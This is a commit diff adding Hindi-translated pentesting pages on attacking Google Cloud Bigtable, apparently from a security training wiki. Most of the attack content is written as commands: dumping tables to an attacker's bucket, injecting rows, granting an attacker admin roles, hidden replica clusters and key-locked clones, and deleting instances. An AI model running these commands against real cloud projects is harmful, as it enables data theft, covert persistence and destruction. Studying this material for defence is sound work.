Translated ['src/pentesting-cloud/gcp-security/gcp-persistence/gcp-bigta

This commit is contained in:
Translator
2025-11-19 14:47:54 +00:00
parent 7033d5e215
commit 3c4e40c3d7
4 changed files with 497 additions and 2 deletions

View File

@@ -0,0 +1,52 @@
# GCP - Bigtable Persistence
{{#include ../../../banners/hacktricks-training.md}}
## Bigtable
Bigtable के बारे में अधिक जानकारी के लिए देखें:
{{#ref}}
../gcp-services/gcp-bigtable-enum.md
{{#endref}}
### समर्पित attacker App Profile
**अनुमतियाँ:** `bigtable.appProfiles.create`, `bigtable.appProfiles.update`.
अपना एक app profile बनाएं जो ट्रैफ़िक को आपके replica cluster की ओर मार्गदर्शित करे और Data Boost सक्षम करें ताकि आप उन provisioned nodes पर निर्भर न रहें जिन्हें defenders नोटिस कर सकते हैं।
```bash
gcloud bigtable app-profiles create stealth-profile \
--instance=<instance-id> --route-any --restrict-to=<attacker-cluster> \
--row-affinity --description="internal batch"
gcloud bigtable app-profiles update stealth-profile \
--instance=<instance-id> --data-boost \
--data-boost-compute-billing-owner=HOST_PAYS
```
जब तक यह प्रोफ़ाइल मौजूद है, आप इसे संदर्भित करने वाले नए क्रेडेंशियल्स का उपयोग करके फिर से कनेक्ट कर सकते हैं।
### अपना रिप्लिका क्लस्टर बनाए रखें
**अनुमतियाँ:** `bigtable.clusters.create`, `bigtable.instances.update`, `bigtable.clusters.list`.
एक शांत क्षेत्र में न्यूनतम नोड-काउंट वाले क्लस्टर को provision करें। भले ही आपके क्लाइंट आइडेंटिटीज़ गायब हो जाएँ, **क्लस्टर प्रत्येक तालिका की एक पूर्ण कॉपी रखता है** जब तक कि रक्षक इसे स्पष्ट रूप से न हटाएँ।
```bash
gcloud bigtable clusters create dark-clone \
--instance=<instance-id> --zone=us-west4-b --num-nodes=1
```
इसे `gcloud bigtable clusters describe dark-clone --instance=<instance-id>` के माध्यम से देखें ताकि जब आपको डेटा खींचना हो तो आप तुरंत स्केल अप कर सकें।
### अपनी CMEK के पीछे replication को लॉक करें
**अनुमतियाँ:** `bigtable.clusters.create`, `cloudkms.cryptoKeyVersions.useToEncrypt` on the attacker-owned key.
एक clone बनाते समय अपना KMS key लाएं। उस key के बिना, Google क्लस्टर को re-create या fail over नहीं कर सकता, इसलिए blue teams को इसे छूने से पहले आपके साथ समन्वय करना होगा।
```bash
gcloud bigtable clusters create cmek-clone \
--instance=<instance-id> --zone=us-east4-b --num-nodes=1 \
--kms-key=projects/<attacker-proj>/locations/<kms-location>/keyRings/<ring>/cryptoKeys/<key>
```
अपने project में key को rotate या disable करें ताकि replica तुरंत brick हो जाए (और बाद में आप इसे वापस चालू कर सकें)।
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,250 @@
# GCP - Bigtable Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
## Bigtable
Bigtable के बारे में अधिक जानकारी के लिए देखें:
{{#ref}}
../gcp-services/gcp-bigtable-enum.md
{{#endref}}
> [!TIP]
> ताकि नीचे दिए गए कमांड लोकली काम करें, Cloud SDK के माध्यम से एक बार `cbt` CLI इंस्टॉल करें:
>
> ```bash
> gcloud components install cbt
> ```
### पंक्तियाँ पढ़ें
**अनुमतियाँ:** `bigtable.tables.readRows`
`cbt` Cloud SDK के साथ आता है और बिना किसी middleware के admin/data APIs से बात करता है। इसे समझौता किया गया प्रोजेक्ट/इंस्टेंस की ओर पॉइंट करें और टेबल से सीधे पंक्तियाँ निकालें। अगर आपको सिर्फ एक नज़र चाहिए तो स्कैन सीमित करें।
```bash
# Install cbt
gcloud components update
gcloud components install cbt
# Read entries with creds of gcloud
cbt -project=<victim-proj> -instance=<instance-id> read <table-id>
```
### पंक्तियाँ लिखें
**अनुमतियाँ:** `bigtable.tables.mutateRows`, (परिवर्तन की पुष्टि करने के लिए आपको `bigtable.tables.readRows` की आवश्यकता होगी).
इसी टूल का उपयोग करके किसी भी सेल को upsert करें। यह backdoor configs, drop web shells, या plant poisoned dataset rows लगाने का सबसे तेज़ तरीका है।
```bash
# Inject a new row
cbt -project=<victim-proj> -instance=<instance-id> set <table> <row-key> <family>:<column>=<value>
cbt -project=<victim-proj> -instance=<instance-id> set <table-id> user#1337 profile:name="Mallory" profile:role="admin" secrets:api_key=@/tmp/stealme.bin
# Verify the injected row
cbt -project=<victim-proj> -instance=<instance-id> read <table-id> rows=user#1337
```
`cbt set` `@/path` सिंटैक्स के माध्यम से कच्चे बाइट्स स्वीकार करता है, इसलिए आप compiled payloads या serialized protobufs ठीक वैसे ही पुश कर सकते हैं जैसे downstream services उम्मीद करते हैं।
### अपनी bucket में rows डंप करें
**अनुमतियाँ:** `dataflow.jobs.create`, `resourcemanager.projects.get`, `iam.serviceAccounts.actAs`
यह संभव है कि आप पूरे table की सामग्री को attacker द्वारा नियंत्रित किसी bucket में exfiltrate कर सकें, एक Dataflow job लॉन्च करके जो rows को आपके नियंत्रित GCS bucket में stream करता है।
> [!NOTE]
> ध्यान दें कि आपको permission `iam.serviceAccounts.actAs` उस SA पर चाहिए होगा जिसके पास export करने के लिए पर्याप्त permissions हों (डिफ़ॉल्ट रूप से, यदि अन्यथा निर्दिष्ट नहीं किया गया है, तो default compute SA का उपयोग किया जाएगा).
```bash
gcloud dataflow jobs run <job-name> \
--gcs-location=gs://dataflow-templates-us-<REGION>/<VERSION>/Cloud_Bigtable_to_GCS_Json \
--project=<PROJECT> \
--region=<REGION> \
--parameters=<PROJECT>,bigtableInstanceId=<INSTANCE_ID>,bigtableTableId=<TABLE_ID>,filenamePrefix=<PREFIX>,outputDirectory=gs://<BUCKET>/raw-json/ \
--staging-location=gs://<BUCKET>/staging/
# Example
gcloud dataflow jobs run dump-bigtable3 \
--gcs-location=gs://dataflow-templates-us-central1/latest/Cloud_Bigtable_to_GCS_Json \
--project=gcp-labs-3uis1xlx \
--region=us-central1 \
--parameters=bigtableProjectId=gcp-labs-3uis1xlx,bigtableInstanceId=avesc-20251118172913,bigtableTableId=prod-orders,filenamePrefix=prefx,outputDirectory=gs://deleteme20u9843rhfioue/raw-json/ \
--staging-location=gs://deleteme20u9843rhfioue/staging/
```
> [!NOTE]
> यदि आप JSON की बजाय Parquet/SequenceFile आउटपुट चाहते हैं तो टेम्पलेट को `Cloud_Bigtable_to_GCS_Parquet` या `Cloud_Bigtable_to_GCS_SequenceFile` में बदलें। अनुमतियाँ समान रहती हैं; केवल टेम्पलेट पाथ बदलता है।
### पंक्तियाँ इम्पोर्ट करें
**Permissions:** `dataflow.jobs.create`, `resourcemanager.projects.get`, `iam.serviceAccounts.actAs`
एक Dataflow job लॉन्च करके जो पंक्तियों को आपके नियंत्रित GCS bucket में स्ट्रीम करता है, हमलावर द्वारा नियंत्रित एक bucket से पूरे टेबल की सामग्री आयात करना संभव है। इसके लिए हमलावर को पहले अपेक्षित schema के साथ आयात किए जाने वाले डेटा वाली एक parquet फ़ाइल बनानी होगी। हमलावर पिछली तकनीक का अनुसरण करके `Cloud_Bigtable_to_GCS_Parquet` सेटिंग के साथ डेटा को parquet फ़ॉर्मेट में पहले export कर सकता है और डाउनलोड की गई parquet फ़ाइल में नई प्रविष्टियाँ जोड़ सकता है।
> [!NOTE]
> ध्यान दें कि export करने के लिए आपको पर्याप्त permissions वाले किसी SA पर `iam.serviceAccounts.actAs` permission की आवश्यकता होगी (डिफ़ॉल्ट रूप से, यदि अन्यथा सूचित न किया गया हो, तो डिफ़ॉल्ट compute SA का उपयोग किया जाएगा)।
```bash
gcloud dataflow jobs run import-bt-$(date +%s) \
--region=<REGION> \
--gcs-location=gs://dataflow-templates-<REGION>/<VERSION>>/GCS_Parquet_to_Cloud_Bigtable \
--project=<PROJECT> \
--parameters=bigtableProjectId=<PROJECT>,bigtableInstanceId=<INSTANCE-ID>,bigtableTableId=<TABLE-ID>,inputFilePattern=gs://<BUCKET>/import/bigtable_import.parquet \
--staging-location=gs://<BUCKET>/staging/
# Example
gcloud dataflow jobs run import-bt-$(date +%s) \
--region=us-central1 \
--gcs-location=gs://dataflow-templates-us-central1/latest/GCS_Parquet_to_Cloud_Bigtable \
--project=gcp-labs-3uis1xlx \
--parameters=bigtableProjectId=gcp-labs-3uis1xlx,bigtableInstanceId=avesc-20251118172913,bigtableTableId=prod-orders,inputFilePattern=gs://deleteme20u9843rhfioue/import/parquet_prefx-00000-of-00001.parquet \
--staging-location=gs://deleteme20u9843rhfioue/staging/
```
### बैकअप पुनर्स्थापना
**अनुमतियाँ:** `bigtable.backups.restore`, `bigtable.tables.create`.
इन अनुमतियों वाले attacker अपने नियंत्रण में एक नए टेबल में बैकअप पुनर्स्थापित कर सकता है ताकि वह पुराने संवेदनशील डेटा को पुनर्प्राप्त कर सके।
```bash
gcloud bigtable backups list --instance=<INSTANCE_ID_SOURCE> \
--cluster=<CLUSTER_ID_SOURCE>
gcloud bigtable instances tables restore \
--source=projects/<PROJECT_ID_SOURCE>/instances/<INSTANCE_ID_SOURCE>/clusters/<CLUSTER_ID>/backups/<BACKUP_ID> \
--async \
--destination=<TABLE_ID_NEW> \
--destination-instance=<INSTANCE_ID_DESTINATION> \
--project=<PROJECT_ID_DESTINATION>
```
### टेबल्स को पुनर्स्थापित करें
**अनुमतियाँ:** `bigtable.tables.undelete`
Bigtable soft-deletion को ग्रेस पीरियड (आमतौर पर डिफ़ॉल्ट रूप से 7 दिन) के साथ सपोर्ट करता है। इस विंडो के दौरान, `bigtable.tables.undelete` permission रखने वाला attacker हाल ही में डिलीट किए गए टेबल को restore कर सकता है और उसके सभी डेटा को recover कर सकता है, जिससे संभावित रूप से ऐसी संवेदनशील सूचनाएँ तक पहुँच बन सकती है जिन्हें नष्ट माना गया था।
यह विशेष रूप से उपयोगी है:
- incident response के दौरान defenders द्वारा डिलीट किए गए टेबल्स से डेटा recover करने के लिए
- जानबूझकर purge किए गए ऐतिहासिक डेटा तक पहुँचने के लिए
- आकस्मिक या malicious deletions को reverse करके persistence बनाए रखने के लिए
```bash
# List recently deleted tables (requires bigtable.tables.list)
gcloud bigtable instances tables list --instance=<instance-id> \
--show-deleted
# Undelete a table within the retention period
gcloud bigtable instances tables undelete <table-id> \
--instance=<instance-id>
```
> [!NOTE]
> undelete ऑपरेशन केवल कॉन्फ़िगर की गई retention अवधि (डिफ़ॉल्ट 7 दिन) के भीतर ही काम करता है। इस विंडो के समाप्त होने के बाद, तालिका और इसके डेटा को स्थायी रूप से हटा दिया जाता है और इस विधि के माध्यम से पुनर्प्राप्त नहीं किया जा सकता।
### Authorized Views बनाएँ
**अनुमतियाँ:** `bigtable.authorizedViews.create`, `bigtable.tables.readRows`, `bigtable.tables.mutateRows`
Authorized views आपको तालिका का एक curated उपसमुच्चय दर्शाने देती हैं। least privilege का पालन करने के बजाय, इनका उपयोग उस **बिलकुल वही संवेदनशील कॉलम/पंक्ति सेट** को प्रकाशित करने के लिए करें जिनकी आपको आवश्यकता है और अपने स्वयं के principal को whitelist करें।
> [!WARNING]
> समस्या यह है कि एक authorized view बनाने के लिए आपको base table में rows पढ़ने और mutate करने की क्षमता भी चाहिए; इसलिए आपको कोई अतिरिक्त अनुमति प्राप्त नहीं होती — इसलिए यह तकनीक अधिकांशतः अनुपयोगी है।
```bash
cat <<'EOF' > /tmp/credit-cards.json
{
"subsetView": {
"rowPrefixes": ["acct#"],
"familySubsets": {
"pii": {
"qualifiers": ["cc_number", "cc_cvv"]
}
}
}
}
EOF
gcloud bigtable authorized-views create card-dump \
--instance=<instance-id> --table=<table-id> \
--definition-file=/tmp/credit-cards.json
gcloud bigtable authorized-views add-iam-policy-binding card-dump \
--instance=<instance-id> --table=<table-id> \
--member='user:<attacker@example.com>' --role='roles/bigtable.reader'
```
क्योंकि access view तक स्कोप किया जाता है, defenders अक्सर इस बात को अनदेखा कर देते हैं कि आपने अभी-अभी एक नया high-sensitivity endpoint बना दिया है।
### Authorized Views पढ़ें
**अनुमतियाँ:** `bigtable.authorizedViews.readRows`
यदि आपके पास किसी Authorized View तक access है, तो आप Bigtable client libraries का उपयोग करके और अपने read requests में authorized view का नाम निर्दिष्ट करके उससे डेटा पढ़ सकते हैं। ध्यान रखें कि authorized view सम्भवतः तालिका से आप जो access कर सकते हैं उसे सीमित करेगा। नीचे Python का उपयोग करते हुए एक उदाहरण दिया गया है:
```python
from google.cloud import bigtable
from google.cloud.bigtable_v2 import BigtableClient as DataClient
from google.cloud.bigtable_v2 import ReadRowsRequest
# Set your project, instance, table, view id
PROJECT_ID = "gcp-labs-3uis1xlx"
INSTANCE_ID = "avesc-20251118172913"
TABLE_ID = "prod-orders"
AUTHORIZED_VIEW_ID = "auth_view"
client = bigtable.Client(project=PROJECT_ID, admin=True)
instance = client.instance(INSTANCE_ID)
table = instance.table(TABLE_ID)
data_client = DataClient()
authorized_view_name = f"projects/{PROJECT_ID}/instances/{INSTANCE_ID}/tables/{TABLE_ID}/authorizedViews/{AUTHORIZED_VIEW_ID}"
request = ReadRowsRequest(
authorized_view_name=authorized_view_name
)
rows = data_client.read_rows(request=request)
for response in rows:
for chunk in response.chunks:
if chunk.row_key:
row_key = chunk.row_key.decode('utf-8') if isinstance(chunk.row_key, bytes) else chunk.row_key
print(f"Row: {row_key}")
if chunk.family_name:
family = chunk.family_name.value if hasattr(chunk.family_name, 'value') else chunk.family_name
qualifier = chunk.qualifier.value.decode('utf-8') if hasattr(chunk.qualifier, 'value') else chunk.qualifier.decode('utf-8')
value = chunk.value.decode('utf-8') if isinstance(chunk.value, bytes) else str(chunk.value)
print(f" {family}:{qualifier} = {value}")
```
### Denial of Service via Delete Operations
**Permissions:** `bigtable.appProfiles.delete`, `bigtable.authorizedViews.delete`, `bigtable.authorizedViews.deleteTagBinding`, `bigtable.backups.delete`, `bigtable.clusters.delete`, `bigtable.instances.delete`, `bigtable.tables.delete`
Bigtable के किसी भी delete permissions का उपयोग denial of service attacks के लिए किया जा सकता है। इन permissions वाले हमलावर महत्वपूर्ण Bigtable resources को हटाकर संचालन में व्यवधान डाल सकते हैं:
- **`bigtable.appProfiles.delete`**: application profiles को हटाना, जिससे क्लाइंट कनेक्शन और राउटिंग कॉन्फ़िगरेशन टूट सकते हैं
- **`bigtable.authorizedViews.delete`**: authorized views को हटाना, जिससे applications के वैध एक्सेस पाथ कट सकते हैं
- **`bigtable.authorizedViews.deleteTagBinding`**: authorized views से tag bindings हटाना
- **`bigtable.backups.delete`**: backup snapshots नष्ट करना, जिससे disaster recovery विकल्प खत्म हो जाते हैं
- **`bigtable.clusters.delete`**: संपूर्ण clusters को हटाना, जिससे तुरंत डेटा उपलब्धता बाधित हो जाती है
- **`bigtable.instances.delete`**: पूरे Bigtable instances को हटाना, जिससे सभी tables और configurations मिट जाते हैं
- **`bigtable.tables.delete`**: व्यक्तिगत tables को हटाना, जिससे डेटा लॉस और application failures होते हैं
```bash
# Delete a table
gcloud bigtable instances tables delete <table-id> \
--instance=<instance-id>
# Delete an authorized view
gcloud bigtable authorized-views delete <view-id> \
--instance=<instance-id> --table=<table-id>
# Delete a backup
gcloud bigtable backups delete <backup-id> \
--instance=<instance-id> --cluster=<cluster-id>
# Delete an app profile
gcloud bigtable app-profiles delete <profile-id> \
--instance=<instance-id>
# Delete a cluster
gcloud bigtable clusters delete <cluster-id> \
--instance=<instance-id>
# Delete an entire instance
gcloud bigtable instances delete <instance-id>
```
> [!WARNING]
> हटाने के ऑपरेशन अक्सर तुरंत और अपरिवर्तनीय होते हैं। इन कमांड्स का परीक्षण करने से पहले बैकअप मौजूद होने की पुष्टि करें, क्योंकि ये स्थायी डेटा हानि और严重 सेवा व्यवधान का कारण बन सकते हैं।
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,105 @@
# GCP - Bigtable Privesc
{{#include ../../../banners/hacktricks-training.md}}
## Bigtable
Bigtable के बारे में अधिक जानकारी के लिए देखें:
{{#ref}}
../gcp-services/gcp-bigtable-enum.md
{{#endref}}
### `bigtable.instances.setIamPolicy`
**अनुमतियाँ:** `bigtable.instances.setIamPolicy` (और आमतौर पर वर्तमान बाइंडिंग पढ़ने के लिए `bigtable.instances.getIamPolicy`).
इंस्टेंस IAM पॉलिसी का स्वामित्व आपको अपने आप को **`roles/bigtable.admin`** (या कोई भी कस्टम रोल) प्रदान करने की अनुमति देता है, जो instance के हर क्लस्टर, तालिका, बैकअप और अधिकृत व्यू पर लागू हो जाता है।
```bash
gcloud bigtable instances add-iam-policy-binding <instance-id> \
--member='user:<attacker@example.com>' \
--role='roles/bigtable.admin'
```
> [!TIP]
> यदि आप मौजूदा bindings को सूचीबद्ध नहीं कर सकते, तो एक नया policy document बनाकर उसे `gcloud bigtable instances set-iam-policy` के साथ push कर दें बशर्ते आप खुद को उस पर बनाए रखें।
इस permission को मिलने के बाद, अधिक तरीकों के लिए [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) techniques देखें जो Bigtable permissions का दुरुपयोग करने के तरीके बताती हैं।
### `bigtable.tables.setIamPolicy`
**Permissions:** `bigtable.tables.setIamPolicy` (optionally `bigtable.tables.getIamPolicy`).
Instance policies को लॉक डाउन किया जा सकता है जबकि individual tables सौंपे जा सकते हैं। यदि आप table IAM को संपादित कर सकते हैं, तो आप **अपने आप को target dataset का owner बना सकते हैं** बिना अन्य workloads को छुए।
```bash
gcloud bigtable tables add-iam-policy-binding <table-id> \
--instance=<instance-id> \
--member='user:<attacker@example.com>' \
--role='roles/bigtable.admin'
```
इस अनुमति को प्राप्त करने के बाद अधिक तरीकों के लिए [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) की techniques देखें जिनसे Bigtable permissions का दुरुपयोग किया जा सकता है।
### `bigtable.backups.setIamPolicy`
**अनुमतियाँ:** `bigtable.backups.setIamPolicy`
Backups को आप नियंत्रित करने वाले **किसी भी प्रोजेक्ट के किसी भी instance** में पुनर्स्थापित किया जा सकता है। पहले अपनी पहचान को backup तक पहुँच दें, फिर उसे ऐसे sandbox में restore करें जहाँ आपके पास Admin/Owner roles हों।
यदि आपके पास अनुमति `bigtable.backups.setIamPolicy` है, तो आप खुद को अनुमति `bigtable.backups.restore` दे सकते हैं ताकि पुराने बैकअप्स को restore करके संवेदनशील जानकारी तक पहुँचने की कोशिश की जा सके।
```bash
# Take ownership of the snapshot
gcloud bigtable backups add-iam-policy-binding <backup-id> \
--instance=<instance-id> --cluster=<cluster-id> \
--member='user:<attacker@example.com>' \
--role='roles/bigtable.admin'
```
यह अनुमति मिलने के बाद [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) देखें कि कोई बैकअप कैसे पुनर्स्थापित किया जाए।
### Update authorized view
**अनुमतियाँ:** `bigtable.authorizedViews.update`
Authorized Views rows/columns को redact करने के लिए होते हैं। इन्हें संशोधित या हटाने से **वे सूक्ष्म-स्तरीय सुरक्षा-नियंत्रण हट जाते हैं** जिन पर सुरक्षा दल निर्भर करते हैं।
```bash
# Broaden the subset by uploading a permissive definition
gcloud bigtable authorized-views update <view-id> \
--instance=<instance-id> --table=<table-id> \
--definition-file=/tmp/permissive-view.json --ignore-warnings
# Json example not filtering any row or column
cat <<'EOF' > /tmp/permissive-view.json
{
"subsetView": {
"rowPrefixes": [""],
"familySubsets": {
"<SOME FAMILITY NAME USED IN THE CURRENT TABLE>": {
"qualifierPrefixes": [""]
}
}
}
}
EOF
# Describe the authorized view to get a family name
gcloud bigtable authorized-views describe <view-id> \
--instance=<instance-id> --table=<table-id>
```
इस permission के बारे में और Authorized View से कैसे पढ़ा जाता है यह जानने के लिए [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) देखें।
### `bigtable.authorizedViews.setIamPolicy`
**Permissions:** `bigtable.authorizedViews.setIamPolicy`.
इस permission वाले attacker स्वयं को एक Authorized View तक पहुँच दे सकते हैं, जिसमें ऐसा संवेदनशील डेटा हो सकता है जिसका उन्हें अन्यथा एक्सेस नहीं होता।
```bash
# Give more permissions over an existing view
gcloud bigtable authorized-views add-iam-policy-binding <view-id> \
--instance=<instance-id> --table=<table-id> \
--member='user:<attacker@example.com>' \
--role='roles/bigtable.viewer'
```
इस permission check को [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) में करने के बाद देखें कि authorized view से कैसे पढ़ना है।
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -2,9 +2,70 @@
{{#include ../../../banners/hacktricks-training.md}}
## [Bigtable](https://cloud.google.com/sdk/gcloud/reference/bigtable/) <a href="#cloud-bigtable" id="cloud-bigtable"></a>
## Bigtable
एक पूरी तरह से प्रबंधित, स्केलेबल NoSQL डेटाबेस सेवा जो बड़े विश्लेषणात्मक और परिचालन कार्यभार के लिए 99.999% उपलब्धता तक है। [Learn more](https://cloud.google.com/bigtable).
Google Cloud Bigtable एक fully managed, scalable NoSQL डेटाबेस है जो उन applications के लिए डिज़ाइन किया गया है जिन्हें अत्यधिक high throughput और low latency की आवश्यकता होती है। यह massive मात्रा में डेटा—हज़ारों nodes पर petabytes—हैंडल करने के लिए बनाया गया है, फिर भी तेज read और write प्रदर्शन देता है। Bigtable उन workloads के लिए उपयुक्त है जैसे time-series data, IoT telemetry, financial analytics, personalization engines, और large-scale operational databases। यह एक sparse, distributed, multidimensional sorted map को underlying storage model के रूप में उपयोग करता है, जो wide tables को कुशलता से स्टोर करने में मदद करता है जहाँ कई कॉलम खाली हो सकते है। [Learn more](https://cloud.google.com/bigtable).
### Hierarchy
1. **Bigtable Instance**
A Bigtable instance वह top-level resource है जिसे आप बनाते हैं।
यह स्वयं डेटा स्टोर नहीं करता—इसे एक logical container के रूप में सोचें जो आपके clusters और tables को एक साथ समूहित करता है।
दो प्रकार के instances होते हैं:
- Development instance (single-node, सस्ता, production के लिए नहीं)
- Production instance (में multiple clusters हो सकते हैं)
2. **Clusters**
A cluster में वास्तविक compute और storage संसाधन होते हैं जो Bigtable डेटा को सर्व करने के लिए उपयोग किए जाते हैं।
- प्रत्येक cluster एक single क्षेत्र (region) में रहता है।
- यह nodes से बना होता है, जो CPU, RAM, और network क्षमता प्रदान करते हैं।
- आप high availability या global reads/writes के लिए multi-cluster instances बना सकते हैं।
- उसी instance के clusters के बीच डेटा स्वचालित रूप से replicate होता है।
महत्वपूर्ण:
- Tables instance के अंतर्गत आते हैं, किसी specific cluster के नहीं।
- Clusters केवल डेटा को सर्व करने के लिए संसाधन प्रदान करते हैं।
3. **Tables**
Bigtable में एक table NoSQL डेटाबेस के table के समान होता है:
- डेटा rows में स्टोर होता है, जिन्हें एक row key द्वारा पहचाना जाता है।
- हर row में column families होते हैं, जो columns को contain करते हैं।
- यह sparse है: खाली cells जगह नहीं लेते।
- Bigtable row key के अनुसार lexicographically sort करके डेटा स्टोर करता है।
Tables instance के सभी clusters द्वारा सर्व किए जाते हैं।
4. **Tablets (and Hot Tablets)**
Bigtable प्रत्येक table को horizontal partitions में विभाजित करता है जिन्हें tablets कहा जाता है। एक tablet:
- row keys की एक contiguous range होती है।
- किसी भी समय एक single node पर स्टोर रहती है।
- Tablets को Bigtable द्वारा स्वचालित रूप से split, merge और move किया जाता है।
A **hot tablet** तब होता है जब:
- बहुत सारे reads या writes एक ही row-key range (एक ही tablet) को टार्गेट करते हैं।
- वह विशेष tablet/node overloaded हो जाता है।
- इससे hotspots (performance bottlenecks) बनते हैं।
5. **Authorized Views**
Authorized views आपको table के डेटा का एक subset बनाने की अनुमति देती है जिसे आप specific users या applications के साथ साझा कर सकते हैं बिना उन्हें पूरे table तक पहुंच दिए। यह उपयोगी है:
- संवेदनशील डेटा तक पहुँच सीमित करने के लिए।
- विशेष columns या rows के लिए read-only एक्सेस प्रदान करने के लिए।
6. **App Profiles**
A Bigtable app profile एक configuration है जो परिभाषित करता है कि कोई specific application या client किसी Bigtable instance के साथ कैसे interact करे, विशेषकर multi-cluster वातावरण में। यह routing व्यवहार को नियंत्रित करता है—यह तय करता है कि requests को single cluster पर भेजना चाहिए या high availability के लिए multiple clusters में distribute करना चाहिए—और यह writes के replication के तरीके को भी नियंत्रित करता है, synchronous (stronger consistency) या asynchronous (lower latency) मोड के बीच चुनाव करते हुए।
```bash
# Cloud Bigtable
gcloud bigtable instances list
@@ -15,6 +76,11 @@ gcloud bigtable instances get-iam-policy <instance>
gcloud bigtable clusters list
gcloud bigtable clusters describe <cluster>
## Tables
gcloud bigtable tables list --instance <INSTANCE>
gcloud bigtable tables describe --instance <INSTANCE> <TABLE>
gcloud bigtable tables get-iam-policy --instance <INSTANCE> <TABLE>
## Backups
gcloud bigtable backups list --instance <INSTANCE>
gcloud bigtable backups describe --instance <INSTANCE> <backupname>
@@ -26,5 +92,27 @@ gcloud bigtable hot-tablets list
## App Profiles
gcloud bigtable app-profiles list --instance <INSTANCE>
gcloud bigtable app-profiles describe --instance <INSTANCE> <app-prof>
## Authorized Views
gcloud bigtable authorized-views list --instance <INSTANCE> --table <TABLE>
gcloud bigtable authorized-views describe --instance <INSTANCE> --table <TABLE> <VIEW>
```
## Privilege Escalation
{{#ref}}
../gcp-privilege-escalation/gcp-bigtable-privesc.md
{{#endref}}
## Post Exploitation
{{#ref}}
../gcp-post-exploitation/gcp-bigtable-post-exploitation.md
{{#endref}}
## Persistence
{{#ref}}
../gcp-persistence/gcp-bigtable-persistence.md
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}